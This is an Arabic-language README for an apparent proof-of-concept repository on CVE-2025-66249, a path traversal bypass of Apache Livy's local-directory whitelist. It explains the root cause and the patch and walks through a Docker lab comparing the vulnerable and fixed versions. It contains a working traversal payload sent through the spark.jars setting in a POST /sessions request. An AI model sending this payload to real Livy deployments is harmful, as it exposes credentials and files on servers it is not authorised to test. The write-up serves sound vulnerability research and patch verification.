
POC لثغرة تجاوز القائمة البيضاء لاجتياز المسار في Apache Livy
للاستخدامات التعليمية وأغراض البحث الأمني فقط. لا تستخدم ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها. → إخلاء المسؤولية الكامل
| الحقل | التفاصيل |
|---|
| معرف CVE | CVE-2025-66249 |
| الخطورة | مهم (CVSS غير متاح — تقييم NVD قيد الانتظار حتى 2026-03-15) |
| المتأثر | Apache Livy 0.3.0-incubating حتى 0.8.0-incubating — فقط عند تعيين livy.file.local-dir-whitelist إلى قيمة غير افتراضية |
| المصحح في | Apache Livy 0.9.0-incubating |
| CWE | CWE-22: تقييد غير صحيح لاسم المسار لدليل مقيد ('اجتياز المسار') |
| الإفصاح عنه | 2026-03-12 (OSS-Sec) / 2026-03-13 (NVD) |
| المبلغ | Hiroki Egawa (المكتشف) |
يمكن لمستخدم موثّق لديه إمكانية الوصول إلى واجهة REST أو JDBC الخاصة بـ Livy تقديم جلسة Spark أو مهمة دفعية بقيمة مسار ملف مصممة تهرب من القائمة البيضاء للدليل المسموح به.
السبب الجذري — تجاوز اجتياز المسار في فحص القائمة البيضاء (Session.scala)
عند تكوين livy.file.local-dir-whitelist، يتحقق Livy 0.8.0 من المسارات المُرسَلة عن طريق استدعاء String.startsWith() في Java على المسار الخام غير المُطَبَّع. يمكن تجاوز هذا الفحص باستخدام تسلسلات الاجتياز ../:
/opt/safe-data/../sensitive/secret.txt
تبدأ السلسلة الخام بـ /opt/safe-data، وبالتالي يجتاز الفحص — لكن المسار يُحل إلى /opt/sensitive/secret.txt، وهو خارج الدليل المدرج في القائمة البيضاء تمامًا.
شرط التفعيل: لا يمكن استغلال الثغرة إلا عندما يتم تعيين livy.file.local-dir-whitelist إلى قيمة غير افتراضية (غير فارغة). إذا كانت القائمة البيضاء فارغة (الوضع الافتراضي)، يتم تخطي التحقق من المسار بالكامل ولا يتم تفعيل المشكلة.
التأثير: يمكن للمهاجم الذي يُرسل جلسة عبر REST API في Livy الرجوع إلى ملفات محلية عشوائية على خادم Livy. في مجموعة تحليلات مشتركة، يُترجم هذا إلى احتمال كشف بيانات الاعتماد والمفاتيح وملفات التكوين أو أي بيانات يمكن قراءتها بواسطة مستخدم عملية Livy.
Session.scalaالإصدار الضعيف (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
الإصدار المصحح (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
تم استنساخ كلا الإصدارين مباشرة من مستودع Apache Livy الرسمي على GitHub باستخدام الأوامر التالية:
المستودع: https://github.com/apache/incubator-livy
# الإصدار الضعيف — تم استنساخه إلى ./livy-0.8.0/
git clone --depth=1 --branch v0.8.0-incubating \
https://github.com/apache/incubator-livy \
livy-0.8.0
# الإصدار المصحح — تم استنساخه إلى ./livy-0.9.0/
git clone --depth=1 --branch v0.9.0-incubating \
https://github.com/apache/incubator-livy \
livy-0.9.0
| الإصدار | الوسم | الالتزام المُحل | المسار المحلي |
|---|---|---|---|
| 0.8.0-incubating | v0.8.0-incubating | 78b512658e4baf1183f2b352203ada1928d8111a | ./livy-0.8.0/ |
| 0.9.0-incubating | v0.9.0-incubating | 7215f209b25b96488189567807eaded00953a492 | ./livy-0.9.0/ |
Session.scala: Paths.get().normalize() قبل فحص القائمة البيضاء import java.io.InputStream
import java.net.{URI, URISyntaxException}
+import java.nio.file.Paths
import java.security.PrivilegedExceptionAction
+import java.util.concurrent.{Executors, LinkedBlockingQueue, ThreadFactory, ThreadPoolExecutor, TimeUnit}
import java.util.UUID
...
if (resolved.getScheme() == "file") {
// تأكد من أن الموقع مدرج في القائمة البيضاء قبل السماح بإضافة الملفات المحلية.
- require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+ require(livyConf.localFsWhitelist.find(
+ Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
s"Local path ${uri.getPath()} cannot be added to user sessions.")
}
التأثير في v0.8.0:
يمكن تجاوز فحص startsWith للسلسلة الخام باستخدام حمولة اجتياز مسار.
مثال: إذا كان livy.file.local-dir-whitelist = /opt/safe-data
/opt/safe-data/../sensitive/secret.txt
"/opt/safe-data/../sensitive/secret.txt".startsWith("/opt/safe-data") → صحيح (تم التجاز)Paths.get("/opt/safe-data/../sensitive/secret.txt").normalize → /opt/sensitive/secret.txt
/opt/sensitive/secret.txt.startsWith(/opt/safe-data) → خطأ (تم الحظر)تم إنتاج الفروقات عن طريق استنساخ كلا الوسمين محليًا (انظر أعلاه) وتشغيل:
diff -u \
livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala
مهاجم (مستخدم REST/JDBC موثّق)
│
▼
POST /sessions
{
"conf": {
"spark.jars": "file:///opt/safe-data/../sensitive/secret.txt"
← المسار يبدأ بالبادئة المدرجة في القائمة البيضاء — يمر String.startsWith()
← لكنه يُحل خارج الدليل عبر اجتياز ../
}
}
│
▼
Livy 0.8.0 — تم تجاوز فحص القائمة البيضاء (startsWith خام، بدون تطبيع)
│
▼
Spark يقرأ الملف ويوزعه على المنفذين
│
▼
يستعيد المهاجم محتويات الملف عبر مخرجات المهمة / السجلات
تم تنفيذ والتحقق من جميع الخطوات في إثبات المفهوم هذا على النظام التالي:
| المكون | التفاصيل |
|---|---|
| نظام التشغيل المضيف | Ubuntu 24.04.4 LTS (Noble Numbat) |
| النواة | 6.17.0-14-generic x86_64 |
| البنية | x86_64 |
| إجمالي الذاكرة | 15 GiB |
| محرك Docker | 28.2.2 |
| JDK المضيف | OpenJDK 17.0.18 (يستخدمه المضيف فقط — تستخدم الحاويات eclipse-temurin:11-jdk-focal) |
| صورة الحاوية الأساسية | eclipse-temurin:11-jdk-focal (JDK 11, Ubuntu Focal) |
| إصدار Spark (كلتا الصورتين) | 3.1.3 مع Hadoop 3.2 |
| إصدار Livy — الصورة الضعيفة | 0.8.0-incubating |
| إصدار Livy — الصورة المصححة | 0.9.0-incubating |
CVE-2025-66249-POC/
├── docker/
│ ├── fixed/
│ │ ├── Dockerfile
│ │ ├── livy.conf
│ │ └── start.sh
│ └── vulnerable/
│ ├── Dockerfile
│ ├── livy.conf
│ └── start.sh
├── test/
│ └── validate.sh
├── .gitignore
├── LICENSE
└── README.md
docker/vulnerable/ → الصورة: cve-2025-66249-vulnerable (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/ → الصورة: cve-2025-66249-fixed (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh → نص واحد، يُشغّل دون تغيير على كلا البيئتين
التسلسل الكامل من البداية إلى النهاية — اتبع الخطوات من 1 إلى 4 بالترتيب:
الخطوة 1: بناء الصورة الضعيفة → تشغيل الحاوية → التحقق من أن Livy يعمل
الخطوة 2: تشغيل validate.sh → تأكيد وجود الثغرة (هجوم HTTP 201) → إيقاف الحاوية
الخطوة 3: بناء الصورة المصححة → تشغيل الحاوية → التحقق من أن Livy يعمل
الخطوة 4: تشغيل validate.sh → تأكيد الإصلاح (هجوم HTTP 400) → إيقاف الحاوية
ملاحظة: يحتاج Livy إلى حوالي 15–20 ثانية ليصبح جاهزًا بعد
docker run. تتضمن جميع الخطوات أدناهsleep 20صريحًا قبل أي استدعاء API.
الملفات:
docker/vulnerable/Dockerfile — eclipse-temurin:11-jdk-focal, Spark 3.1.3, Livy 0.8.0-incubatingdocker/vulnerable/livy.conf — الربط على 0.0.0.0:8998، الوضع المحلي، القائمة البيضاء = /opt/safe-data1a. بناء الصورة:
docker build -t cve-2025-66249-vulnerable docker/vulnerable/
التحقق — تم إنشاء الصورة:
docker images cve-2025-66249-vulnerable
المخرجات المتوقعة:
REPOSITORY TAG IMAGE ID CREATED SIZE
cve-2025-66249-vulnerable latest <id> <time> <size>
1b. تشغيل الحاوية:
docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-66249-vulnerable
التحقق — الحاوية تعمل:
docker ps --filter name=livy-vulnerable
المخرجات المتوقعة:
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
<id> cve-2025-66249-vulnerable "/__cacert_entrypoin…" <time> ago Up X seconds 0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp livy-vulnerable
1c. انتظار بدء Livy، ثم التحقق من REST API:
يحتاج Livy إلى حوالي 15–20 ثانية للتهيئة قبل أن يخدم الطلبات.
sleep 20
curl -s http://localhost:8998/sessions
المخرجات المتوقعة:
{"from":0,"total":0,"sessions":[]}
1d. التحقق من هيكل الدليل داخل الحاوية:
تأكيد وجود الملف الآمن المدرج في القائمة البيضاء:
docker exec livy-vulnerable cat /opt/safe-data/safe.txt
المخرجات المتوقعة:
This file lives inside the whitelisted directory.
تأكيد وجود الملف الحساس خارج القائمة البيضاء:
docker exec livy-vulnerable cat /opt/sensitive/secret.txt
المخرجات المتوقعة:
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!
يجب أن تظل الحاوية الضعيفة من الخطوة 1 تعمل على المنفذ 8998.
ما يختبره test/validate.sh:
| # | الهجوم | مفتاح الحمولة | النتيجة المتوقعة على Livy 0.8.0 |
|---|---|---|---|
| 1 | اجتياز المسار عبر String.startsWith() في Session.scala | spark.jars مع اجتياز ../ | HTTP 201 — الاجتياز يتجاوز القائمة البيضاء |
2a. تشغيل النص البرمجي:
bash test/validate.sh
ملاحظة: يعمل
validate.shكالتالي:
- يقوم باستقصاء
GET /sessionsحتى يستجيب Livy (حتى 60 ثانية)، لتأكيد أن الخادم جاهز.- يرسل طلب
POST /sessionsعبرcurlمع حمولةconfمعدّة تستهدف ملفًا خارج القائمة البيضاء (/opt/sensitive/secret.txt) باستخدام اجتياز../.- يقرأ رمز استجابة HTTP: 201 يعني أن Livy قبل المسار دون تطبيع (ضعيف)؛ 400 يعني أن Livy رفضه بعد التطبيع (مصحّح).
- إذا تم إنشاء جلسة (HTTP 201)، يقوم النص فورًا بحذفها عبر
DELETE /sessions/{id}للحفاظ على الخادم نظيفًا.- بعد الاختبار يطبع ملخصًا ويخرج برمز 1 (ضعيف) أو 0 (مصحّح)، مما يجعله مناسبًا للاستخدام في خطوط الأنابيب الآلية.
المخرجات المتوقعة:
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.
TEST : Path traversal via spark.jars (String.startsWith bypass)
WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}
HTTP CODE : 201
RESPONSE : {"id":<session_id>,...,"conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"},...}
[VULNERABLE] Livy ACCEPTED the request (HTTP 201).
Path was NOT normalised — traversal bypasses whitelist check.
RESULT: VULNERABLE — exit code 1
2b. إيقاف وإزالة الحاوية الضعيفة:
docker stop livy-vulnerable && docker rm livy-vulnerable
التحقق — تمت إزالة الحاوية بالكامل:
docker ps -a --filter name=livy-vulnerable
المخرجات المتوقعة (فارغة — بلا صفوف):
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
الملفات:
docker/fixed/Dockerfile — صورة أساسية مطابقة و Spark 3.1.3، فقط إصدار Livy يتغير إلى 0.9.0-incubatingdocker/fixed/livy.conf — مطابق لـ docker/vulnerable/livy.conf (نفس القائمة البيضاء، المنفذ، الوضع)الحفاظ على Spark والصورة الأساسية وجميع الإعدادات مطابقة للخطوة 1 يعزل Livy كالمتغير الوحيد.
3a. بناء الصورة:
docker build -t cve-2025-66249-fixed docker/fixed/
التحقق — تم إنشاء الصورة:
docker images cve-2025-66249-fixed
المخرجات المتوقعة:
REPOSITORY TAG IMAGE ID CREATED SIZE
cve-2025-66249-fixed latest <id> <time> <size>
3b. تشغيل الحاوية:
docker run -d --name livy-fixed -p 8998:8998 cve-2025-66249-fixed
التحقق — الحاوية تعمل:
docker ps --filter name=livy-fixed
المخرجات المتوقعة:
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
<id> cve-2025-66249-fixed "/__cacert_entrypoin…" <time> ago Up X seconds 0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp livy-fixed
3c. انتظار بدء Livy، ثم التحقق من REST API:
sleep 20
curl -s http://localhost:8998/sessions
المخرجات المتوقعة:
{"from":0,"total":0,"sessions":[]}
3d. التحقق من هيكل الدليل داخل الحاوية:
تستخدم الحاوية المصححة نفس الملفات الثابتة كالحاوية الضعيفة — وهذا يؤكد أن المتغير الوحيد بين البيئتين هو إصدار Livy.
تأكيد وجود الملف الآمن المدرج في القائمة البيضاء:
docker exec livy-fixed cat /opt/safe-data/safe.txt
المخرجات المتوقعة:
This file lives inside the whitelisted directory.
تأكيد وجود الملف الحساس خارج القائمة البيضاء:
docker exec livy-fixed cat /opt/sensitive/secret.txt
المخرجات المتوقعة:
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!
يجب أن تكون الحاوية المصححة من الخطوة 3 تعمل على المنفذ 8998. النص البرمجي مطابق — لا تغييرات.
ما يتغير بين الخطوة 2 والخطوة 4:
Paths.get().normalize() قبل فحص القائمة البيضاء4a. تشغيل النص البرمجي:
bash test/validate.sh
المخرجات المتوقعة:
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.
TEST : Path traversal via spark.jars (String.startsWith bypass)
WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}
HTTP CODE : 400
RESPONSE : {"msg":"Rejected, Reason: requirement failed: Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions."}
[FIXED] Livy REJECTED the request (HTTP 400).
Path normalisation blocked the traversal.
RESULT: FIXED — exit code 0
ما تؤكده رسالة الخطأ:
| الهجوم | HTTP | رسالة الخطأ | السبب الجذري المُصحح |
|---|---|---|---|
اجتياز المسار عبر spark.jars | 400 | Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions. | تمت إضافة Paths.get(...).normalize() في Session.scala؛ يحل ../ قبل مقارنة القائمة البيضاء |
4b. إيقاف وإزالة الحاوية المصححة:
docker stop livy-fixed && docker rm livy-fixed
التحقق — تمت إزالة الحاوية بالكامل:
docker ps -a --filter name=livy-fixed
المخرجات المتوقعة (فارغة — بلا صفوف):
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
CVE-2025-66249 هو خلل منطقي واحد ومحدد في تطبيق القائمة البيضاء الذي يحمي مسار الوصول إلى نظام الملفات المحلي لـ Livy.
كانت القائمة البيضاء (livy.file.local-dir-whitelist) موجودة عبر جميع الإصدارات المتأثرة وتم تكوينها بشكل صحيح. كان الفشل في كيفية تقييم القائمة البيضاء:
تجاوز اجتياز المسار (الضعف الوحيد): استخدمت مقارنة القائمة البيضاء في Session.scala دالة String.startsWith() في Java على سلسلة المسار الخام. هذا غير كافٍ لمقارنات مسارات نظام الملفات لأنه لا يأخذ في الاعتبار مقاطع الاجتياز ... المسار مثل /opt/safe-data/../sensitive/secret.txt يحقق فحص السلسلة مقابل إدخال القائمة البيضاء /opt/safe-data، لكنه مع ذلك يُحل إلى موقع خارجها تمامًا.
الإصلاح في 0.9.0 هو إصلاح بسيط ومحدد: تمت إضافة استدعاء واحد لـ Paths.get().normalize() قبل مقارنة القائمة البيضاء. يؤدي هذا إلى حل جميع مقاطع .. قبل تشغيل فحص startsWith، وبالتالي يتم تحديد حمولة الاجتياز بشكل صحيح على أنها تشير إلى خارج الدليل المسموح به.
النقطة الرئيسية للمدافعين: لا يمكن استغلال الثغرة إلا عند تعيين livy.file.local-dir-whitelist إلى قيمة غير فارغة. بينما يعني هذا أن التكوين الافتراضي غير قابل للاستغلال بشكل مباشر، فإن أي نشر قام بتضييق القائمة البيضاء (أي قيد بشكل صريح الأدلة التي يمكن لـ Livy الوصول إليها) هو بشكل متناقض هو المعرض للخطر — لأن وجود القائمة البيضاء هو ما ينشط مسار الكود المعيب. الترقية إلى Livy 0.9.0-incubating هي العلاج الوحيد الكامل.
نرحب بالمساهمات لتحسين إثبات المفهوم هذا أو الوثائق! يُرجى التأكد من أن أي مساهمات:
للمساهمة، افتح طلب سحب أو أنشئ مشكلة تصف التغيير المقترح.
هذا المشروع مرخص بموجب رخصة MIT.
هذا المستودع لأغراض تعليمية وبحث أمني فقط. يوضح إثبات المفهوم آليات الثغرة للمساعدة في الفهم والإجراءات الدفاعية. لا تستخدم ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها.
cve-2025-66249 apache-livy path-traversal whitelist-bypass
cwe-22 improper-path-restriction livy-0.8.0 livy-0.9.0
security-research proof-of-concept docker java scala
vulnerability-analysis rest-api-security string-startswith-bypass
path-normalisation